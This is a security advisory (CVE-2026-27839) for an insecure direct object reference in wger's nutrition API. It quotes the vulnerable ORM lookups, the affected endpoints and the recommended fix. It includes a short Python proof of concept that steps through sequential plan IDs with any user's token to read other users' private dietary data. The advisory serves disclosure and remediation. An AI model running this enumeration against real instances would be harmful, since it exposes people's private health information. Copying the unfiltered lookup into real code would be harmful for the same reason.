CVE-2026-27839
wger: IDOR in nutritional_values endpoints exposes private dietary data via direct ORM lookup
Description
## Summary Three `nutritional_values` action endpoints fetch objects via `Model.objects.get(pk=pk)` — a raw ORM call that bypasses the user-scoped queryset. Any authenticated user can read another user's private nutrition plan data, including caloric intake and full macro breakdown, by supplying an arbitrary PK. ### Details DRF detail actions do not automatically apply queryset filtering — the action must call `self.get_object()` to enforce object-level permissions. These three endpoints skip that and go directly to the ORM: `wger/nutrition/api/views.py`: ```python # line 301 — NutritionPlanViewSet plan = NutritionPlan.objects.get(pk=pk) # VULNERABLE — no user check # line 356 — MealViewSet meal = Meal.objects.get(pk=pk) # VULNERABLE # line 403 — MealItemViewSet meal_item = MealItem.objects.get(pk=pk) # VULNERABLE ``` The correct pattern used in the same file at `LogItemViewSet` (line 438): ```python LogItem.objects.get(pk=pk, plan__user=self.request.user) # CORRECT ``` Affected endpoints: ``` GET /api/v2/nutritionplan/{pk}/nutritional_values/ GET /api/v2/meal/{pk}/nutritional_values/ GET /api/v2/mealitem/{pk}/nutritional_values/ ``` ### PoC ```python import requests BASE = "http://localhost" # Attacker's token (any registered user) headers = {"Authorization": "Token ATTACKER_TOKEN"} # Read victim's nutrition plan — enumerate pk starting from 1 for pk in range(1, 100): r = requests.get( f"{BASE}/api/v2/nutritionplan/{pk}/nutritional_values/", headers=headers ) if r.status_code == 200: data = r.json() print(f"Plan {pk}: {data}") # Returns: energy (kcal), protein, carbohydrates, carbohydrates_sugar, # fat, fat_saturated, fiber, sodium ``` No interaction from the victim required. Registration is open by default. PKs are sequential integers. ### Impact Any authenticated user can read other users' private dietary and health data: - Daily caloric intake - Protein, carbohydrate, fat, fiber, and sodium intake - Full meal composition and ingredient quantities This data is sensitive health information users expect to be private. **Fix**: Replace direct ORM calls with `self.get_object()`, which applies the viewset's user-scoped queryset and object-level permissions automatically. Or add an explicit user filter: `NutritionPlan.objects.get(pk=pk, user=self.request.user)`.
How to fix CVE-2026-27839
No fixed version has been published yet. Mitigate by removing the affected package or applying upstream guidance from the references below.